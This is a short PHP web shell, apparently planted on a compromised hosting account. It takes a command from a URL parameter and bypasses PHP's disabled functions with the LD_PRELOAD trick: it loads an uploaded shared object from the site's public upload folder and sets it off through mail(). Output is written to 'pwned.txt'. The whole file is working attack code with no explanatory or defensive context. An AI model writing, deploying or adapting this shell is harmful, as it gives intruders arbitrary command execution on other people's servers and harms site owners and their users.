
<?php
// Get the command from the URL: exploit.php?cmd=whoami
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : "id";

// Absolute path to your .so file
$so_path = " /home/u976418645/domains/ashadippsc.in/public_html/upl_O@_ded/69ef7221d4b62_bypass4.so";

if (!file_exists($so_path)) {
    die("Shared object not found.");
}

// 1. Pass the command to the C environment
putenv("PHP_CMD=" . $cmd);

// 2. Tell the OS to load your library for the next process
putenv("LD_PRELOAD=" . $so_path);

// 3. Trigger a new process (mail is the standard choice)
if (function_exists('mail')) {
    mail("a@b.com", "", "", "");
} else {
    error_log("test", 1, "a@b.com");
}

echo "Command sent: " . htmlspecialchars($cmd) . "<br>";
echo "Check <a href='pwned.txt'>pwned.txt</a> for results.";
?>